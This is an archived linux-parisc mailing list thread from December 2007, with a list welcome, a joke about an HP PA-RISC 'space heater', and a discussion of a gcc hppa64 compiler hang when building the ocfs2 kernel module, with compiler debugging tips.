From - Thu Nov 08 21:01:48 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@mcmartin.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: first post
Date: Mon, 3 Dec 2007 17:00:10 -0500
Lines: 9
Approved: news@gmane.org
Message-ID: <20071203220010.GC32203@fattire.cabal.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1196720920 28445 80.91.229.12 (3 Dec 2007 22:28:40 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 3 Dec 2007 22:28:40 +0000 (UTC)
To: linux-parisc@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Dec 03 23:28:42 2007
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1IzJmJ-00020l-4f
	for glpp-linux-parisc@gmane.org; Mon, 03 Dec 2007 23:28:39 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1750896AbXLCW2X (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 3 Dec 2007 17:28:23 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1751183AbXLCW2W
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Mon, 3 Dec 2007 17:28:22 -0500
Original-Received: from there.is.no.cabal.ca ([134.117.69.58]:36758 "EHLO
	fattire.cabal.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1750896AbXLCW2W (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Mon, 3 Dec 2007 17:28:22 -0500
X-Greylist: delayed 1689 seconds by postgrey-1.27 at vger.kernel.org; Mon, 03 Dec 2007 17:28:22 EST
Original-Received: by fattire.cabal.ca (Postfix, from userid 1000)
	id A092E23E3F; Mon,  3 Dec 2007 17:00:10 -0500 (EST)
Content-Disposition: inline
User-Agent: Mutt/1.5.13 (2006-08-11)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1

Welcome to the new development list for Linux on PA-RISC.

regards,
	Kyle
-
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:01:48 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: first post
Date: Mon, 3 Dec 2007 17:40:34 -0500 (EST)
Lines: 18
Approved: news@gmane.org
Message-ID: <200712032240.lB3MeY2o027337@hiauly1.hia.nrc.ca>
References: <20071203220010.GC32203@fattire.cabal.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1196722117 32382 80.91.229.12 (3 Dec 2007 22:48:37 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 3 Dec 2007 22:48:37 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org
To: kyle@mcmartin.ca (Kyle McMartin)
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Dec 03 23:48:46 2007
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1IzK5k-0000fs-J6
	for glpp-linux-parisc@gmane.org; Mon, 03 Dec 2007 23:48:45 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751079AbXLCWsX (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 3 Dec 2007 17:48:23 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1751470AbXLCWsX
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Mon, 3 Dec 2007 17:48:23 -0500
Original-Received: from hiauly1.hia.nrc.ca ([132.246.100.193]:3070 "EHLO
	hiauly1.hia.nrc.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751079AbXLCWsW (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Mon, 3 Dec 2007 17:48:22 -0500
X-Greylist: delayed 460 seconds by postgrey-1.27 at vger.kernel.org; Mon, 03 Dec 2007 17:48:22 EST
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be forged))
	by hiauly1.hia.nrc.ca (8.14.1/8.14.1) with ESMTP id lB3MeZUS027339;
	Mon, 3 Dec 2007 17:40:40 -0500 (EST)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.14.1/8.14.1/Submit) id lB3MeY2o027337;
	Mon, 3 Dec 2007 17:40:34 -0500 (EST)
In-Reply-To: <20071203220010.GC32203@fattire.cabal.ca> from "Kyle McMartin" at Dec 3, 2007 05:00:10 pm
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2>

> Welcome to the new development list for Linux on PA-RISC.

Hope this list works better.  It appears the old list got really
messed up sometime in early Nov.  The archive for Nov. is wierd.

I'm giving your timer IRQ patch a whirl with 2.6.22.14.  Hoping it might
fix the timeouts that randomly occur in the GCC testsuite and the ocassional
problem with make.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
-
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:01:48 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Carlos O'Donell" <carlos@systemhalted.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Can my space heater run linux?
Date: Wed, 5 Dec 2007 09:38:54 -0500
Lines: 14
Approved: news@gmane.org
Message-ID: <119aab440712050638u78d6725cr5ddc1188940bb60b@mail.gmail.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1196866171 14447 80.91.229.12 (5 Dec 2007 14:49:31 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 5 Dec 2007 14:49:31 +0000 (UTC)
To: linux-parisc@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Dec 05 15:49:39 2007
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1IzvYp-0001qR-BN
	for glpp-linux-parisc@gmane.org; Wed, 05 Dec 2007 15:49:15 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751270AbXLEOs5 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 5 Dec 2007 09:48:57 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1751566AbXLEOs5
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Wed, 5 Dec 2007 09:48:57 -0500
Original-Received: from rv-out-0910.google.com ([209.85.198.184]:59802 "EHLO
	rv-out-0910.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751270AbXLEOs5 (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Wed, 5 Dec 2007 09:48:57 -0500
Original-Received: by rv-out-0910.google.com with SMTP id k20so3648982rvb
        for <linux-parisc@vger.kernel.org>; Wed, 05 Dec 2007 06:48:54 -0800 (PST)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=gamma;
        h=domainkey-signature:received:received:message-id:date:from:sender:to:subject:mime-version:content-type:content-transfer-encoding:content-disposition:x-google-sender-auth;
        bh=IEtrpMOrTbUJrqLCdRCpBBPicu4hskBx24HsSITCEpA=;
        b=WW6V4pLLP/vT9niGUTzKRzKlolzAkLMHhTE+/msCNmjzCXOjKWmQ+DGg11beQL3bGVuRQbQ7UspzHhiH81X2DrnEahdTuERi2F6ZaJJ7/GYLclcBAgszChjrdye/yBbowNhtITJBccqgWIuconxV24m8QZKVfDc/tLLikFJwTEs=
DomainKey-Signature: a=rsa-sha1; c=nofws;
        d=gmail.com; s=gamma;
        h=received:message-id:date:from:sender:to:subject:mime-version:content-type:content-transfer-encoding:content-disposition:x-google-sender-auth;
        b=PN/yapWy8hDK8mKGVdl6VfsQtoktxzMsmMhFxkjYjQYZt7W5PacLlWfC0GmFLA+waw+45tK/16okVlzZQCmvASkx1E3Yuqpk+x8oxyKnTkoUHwatvYlGM76N1GtxdurhQLrsd38DAr6Cf1iVayiOxXoh5ffk98vpkoPRCBJr4dE=
Original-Received: by 10.140.187.10 with SMTP id k10mr1212681rvf.1196865534458;
        Wed, 05 Dec 2007 06:38:54 -0800 (PST)
Original-Received: by 10.141.210.20 with HTTP; Wed, 5 Dec 2007 06:38:54 -0800 (PST)
Content-Disposition: inline
X-Google-Sender-Auth: 6ee2fd3908cad4cf
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3>

I recently purchased a cheap space heater, it says "a500 9000"
on the side. I think 9000 means BTU, since it heats the room
about as well as my other MAYTAG space heater. I hear that
this space heater is so advanced that it can run linux!?

How do I run linux on my space heater?

Cheers,
Carlos.
-
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:01:49 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@mcmartin.ca>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.debian.ports.hppa
Subject: gcc-4.2-hppa64 bug
Date: Wed, 5 Dec 2007 12:02:19 -0500
Lines: 26
Approved: news@gmane.org
Message-ID: <20071205170219.GA3608@fattire.cabal.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1196874166 12536 80.91.229.12 (5 Dec 2007 17:02:46 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 5 Dec 2007 17:02:46 +0000 (UTC)
Cc: debian-hppa@lists.debian.org
To: linux-parisc@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Dec 05 18:02:55 2007
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1Izxdv-0004v4-2w
	for glpp-linux-parisc@gmane.org; Wed, 05 Dec 2007 18:02:39 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751572AbXLERCW (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 5 Dec 2007 12:02:22 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1751539AbXLERCW
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Wed, 5 Dec 2007 12:02:22 -0500
Original-Received: from there.is.no.cabal.ca ([134.117.69.58]:47687 "EHLO
	fattire.cabal.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751461AbXLERCV (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Wed, 5 Dec 2007 12:02:21 -0500
Original-Received: by fattire.cabal.ca (Postfix, from userid 1000)
	id 435F823E4B; Wed,  5 Dec 2007 12:02:20 -0500 (EST)
Content-Disposition: inline
User-Agent: Mutt/1.5.13 (2006-08-11)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4 gmane.linux.debian.ports.hppa:5047
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4>

John et al,

We're currently hitting a gcc bug on hppa64 with both gcc-4.1 and
gcc-4.2. Symptoms are that a build of the ocfs2 module spins
(apparently) forever, I'm leaving a copy building to see if it
eventually makes forward progress.

It's pretty easily reproduceable by building a modular kernel with the
ocfs2 module enabled. Is there anything I can do to help narrow this
down?

make fs/ocfs2/ocfs2.ko:
	!SMP	SMP
32-bit	 y	 y
64-bit	 y	 fails

The troublesome source file appears to be fs/ocfs2/alloc.o, the rest
seem to build fine.

cheers,
	Kyle
-
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:01:49 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Can my space heater run linux?
Date: Wed, 5 Dec 2007 12:31:32 -0500 (EST)
Lines: 18
Approved: news@gmane.org
Message-ID: <200712051731.lB5HVXtp001215@hiauly1.hia.nrc.ca>
References: <119aab440712050638u78d6725cr5ddc1188940bb60b@mail.gmail.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1196875919 19218 80.91.229.12 (5 Dec 2007 17:31:59 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 5 Dec 2007 17:31:59 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org
To: carlos@systemhalted.org (Carlos O'Donell)
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Dec 05 18:32:07 2007
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1Izy6L-0003zH-Kq
	for glpp-linux-parisc@gmane.org; Wed, 05 Dec 2007 18:32:02 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751344AbXLERbo (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 5 Dec 2007 12:31:44 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1751565AbXLERbo
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Wed, 5 Dec 2007 12:31:44 -0500
Original-Received: from hiauly1.hia.nrc.ca ([132.246.100.193]:3240 "EHLO
	hiauly1.hia.nrc.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751344AbXLERbn (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Wed, 5 Dec 2007 12:31:43 -0500
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be forged))
	by hiauly1.hia.nrc.ca (8.14.1/8.14.1) with ESMTP id lB5HVXxQ001216;
	Wed, 5 Dec 2007 12:31:39 -0500 (EST)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.14.1/8.14.1/Submit) id lB5HVXtp001215;
	Wed, 5 Dec 2007 12:31:33 -0500 (EST)
In-Reply-To: <119aab440712050638u78d6725cr5ddc1188940bb60b@mail.gmail.com> from "Carlos O'Donell" at Dec 5, 2007 09:38:54 am
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5>

> I recently purchased a cheap space heater, it says "a500 9000"
> on the side. I think 9000 means BTU, since it heats the room
> about as well as my other MAYTAG space heater. I hear that
> this space heater is so advanced that it can run linux!?
> 
> How do I run linux on my space heater?

Suggest you upgrade to a HP heater.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
-
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:01:49 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@mcmartin.ca>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.debian.ports.hppa
Subject: Re: gcc-4.2-hppa64 bug
Date: Wed, 5 Dec 2007 13:02:23 -0500
Lines: 17
Approved: news@gmane.org
Message-ID: <20071205180223.GB3608@fattire.cabal.ca>
References: <20071205170219.GA3608@fattire.cabal.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1196877783 26227 80.91.229.12 (5 Dec 2007 18:03:03 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 5 Dec 2007 18:03:03 +0000 (UTC)
Cc: debian-hppa@lists.debian.org
To: linux-parisc@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Dec 05 19:03:12 2007
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1IzyaB-0000nZ-4r
	for glpp-linux-parisc@gmane.org; Wed, 05 Dec 2007 19:02:51 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754327AbXLESC0 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 5 Dec 2007 13:02:26 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1754429AbXLESC0
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Wed, 5 Dec 2007 13:02:26 -0500
Original-Received: from there.is.no.cabal.ca ([134.117.69.58]:44859 "EHLO
	fattire.cabal.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1754327AbXLESCZ (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Wed, 5 Dec 2007 13:02:25 -0500
Original-Received: by fattire.cabal.ca (Postfix, from userid 1000)
	id 0173523E4B; Wed,  5 Dec 2007 13:02:23 -0500 (EST)
Content-Disposition: inline
In-Reply-To: <20071205170219.GA3608@fattire.cabal.ca>
User-Agent: Mutt/1.5.13 (2006-08-11)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:6 gmane.linux.debian.ports.hppa:5048
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/6>

On Wed, Dec 05, 2007 at 12:02:19PM -0500, Kyle McMartin wrote:
> The troublesome source file appears to be fs/ocfs2/alloc.o, the rest
> seem to build fine.
> 

Randolph pointed out the "-da" argument to me, the last pass it makes it
to is alloc.c.160r.shorten.

I'll leave this one going to check for forward progress as well.

cheers,
	Kyle
-
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:01:49 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Stan Sieler <sieler@allegro.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Can my space heater run linux?
Date: Wed, 5 Dec 2007 10:34:56 -0800 (PST)
Lines: 35
Approved: news@gmane.org
Message-ID: <20071205183456.F0F7352468D@opus.allegro.com>
References: <200712051731.lB5HVXtp001215@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1196881206 6044 80.91.229.12 (5 Dec 2007 19:00:06 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 5 Dec 2007 19:00:06 +0000 (UTC)
To: linux-parisc@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Dec 05 20:00:13 2007
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1IzzTZ-00007G-Kv
	for glpp-linux-parisc@gmane.org; Wed, 05 Dec 2007 20:00:06 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751593AbXLES7t (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 5 Dec 2007 13:59:49 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1751689AbXLES7s
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Wed, 5 Dec 2007 13:59:48 -0500
Original-Received: from opus.allegro.com ([209.10.39.50]:59798 "EHLO opus.allegro.com"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1751593AbXLES7s (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Wed, 5 Dec 2007 13:59:48 -0500
X-Greylist: delayed 1489 seconds by postgrey-1.27 at vger.kernel.org; Wed, 05 Dec 2007 13:59:48 EST
Original-Received: from opus.allegro.com (localhost.localdomain [127.0.0.1])
	by opus.allegro.com (Postfix) with ESMTP id 2116052468D
	for <linux-parisc@vger.kernel.org>; Wed,  5 Dec 2007 10:34:57 -0800 (PST)
X-Spam-Checker-Version: SpamAssassin 3.2.3 (2007-08-08) on opus.allegro.com
X-Spam-Level: 
X-Spam-Status: No, score=-4.4 required=5.0 tests=ALL_TRUSTED,AWL,BAYES_00
	autolearn=ham version=3.2.3
Original-Received: from opus.allegro.com (localhost.localdomain [127.0.0.1])
	by opus.allegro.com (Postfix) with ESMTP id 0914B52464D
	for <linux-parisc@vger.kernel.org>; Wed,  5 Dec 2007 10:34:57 -0800 (PST)
Original-Received: by opus.allegro.com (Postfix, from userid 503)
	id F0F7352468D; Wed,  5 Dec 2007 10:34:56 -0800 (PST)
In-Reply-To: <200712051731.lB5HVXtp001215@hiauly1.hia.nrc.ca> from "John David Anglin" at Dec 05, 2007 12:31:32 PM
X-Mailer: ELM [version 2.5 PL6]
X-Virus-Scanned: ClamAV using ClamSMTP
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:7
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/7>

Carlos writes:
 
> I recently purchased a cheap space heater, it says "a500 9000"
> on the side. I think 9000 means BTU, since it heats the room
... 
> How do I run linux on my space heater?

Ah...that heater had an innovative heating element.  Despite
being better than other heating elements, HP has stopped making that
element and switched to an "emerging industry standard" element
that isn't quite as easy to use.   The result: many of these older
heaters are showing up in the used/resale/auction marketplace.

While you might be able to install Linux on it, 
I have to warn you: it will probably run "hot".

:)


Note: the above won't read as funny if Carlos wasn't talking about a
real space heater :)

For real HP PA-RISC computers, there's no "space heater" like
a 9000 J280, one of the first 64-bit PA-RISC workstations :)
Turn it on, and it starts blasting heat out the back!

-- 
Stan Sieler
work:     www.allegro.com
personal: www.sieler.com/wanted/index.html  
-
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:01:49 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.debian.ports.hppa
Subject: Re: gcc-4.2-hppa64 bug
Date: Wed, 5 Dec 2007 14:15:56 -0500 (EST)
Lines: 24
Approved: news@gmane.org
Message-ID: <200712051915.lB5JFv95003694@hiauly1.hia.nrc.ca>
References: <20071205170219.GA3608@fattire.cabal.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1196882217 9777 80.91.229.12 (5 Dec 2007 19:16:57 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 5 Dec 2007 19:16:57 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org, debian-hppa@lists.debian.org
To: kyle@mcmartin.ca (Kyle McMartin)
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Dec 05 20:17:06 2007
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1Izzjt-0007ik-8H
	for glpp-linux-parisc@gmane.org; Wed, 05 Dec 2007 20:16:57 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751913AbXLETQk (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 5 Dec 2007 14:16:40 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1751978AbXLETQk
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Wed, 5 Dec 2007 14:16:40 -0500
Original-Received: from hiauly1.hia.nrc.ca ([132.246.100.193]:3248 "EHLO
	hiauly1.hia.nrc.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751943AbXLETQj (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Wed, 5 Dec 2007 14:16:39 -0500
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be forged))
	by hiauly1.hia.nrc.ca (8.14.1/8.14.1) with ESMTP id lB5JFvOi003697;
	Wed, 5 Dec 2007 14:16:03 -0500 (EST)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.14.1/8.14.1/Submit) id lB5JFv95003694;
	Wed, 5 Dec 2007 14:15:57 -0500 (EST)
In-Reply-To: <20071205170219.GA3608@fattire.cabal.ca> from "Kyle McMartin" at Dec 5, 2007 12:02:19 pm
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:8 gmane.linux.debian.ports.hppa:5049
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/8>

> It's pretty easily reproduceable by building a modular kernel with the
> ocfs2 module enabled. Is there anything I can do to help narrow this
> down?

The general process is to determine the compilation command that
fails.  "-da" can be used to determine the last function that's
being compiled.  Then, try to whittle down the testcase to something
that's easier to debug.  That's a good point to submit a GCC PR.

To actually debug the compilation, use "-v" to see the command gcc
uses to run cc1.  Run cc1 under gdb with the arguments shown with
"-v".  However, you probably won't get very far without a version
of cc1 with debug symbols.  It's also easiest to debug cc1 from
stage1 of the GCC bootstrap.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
-
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:01:49 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Aurelien Jarno <aurelien@aurel32.net>
Newsgroups: gmane.linux.debian.ports.hppa,gmane.linux.ports.parisc
Subject: Re: gcc-4.2-hppa64 bug
Date: Wed, 05 Dec 2007 20:19:14 +0100
Lines: 40
Approved: news@gmane.org
Message-ID: <4756F9B2.8050105@aurel32.net>
References: <20071205170219.GA3608@fattire.cabal.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
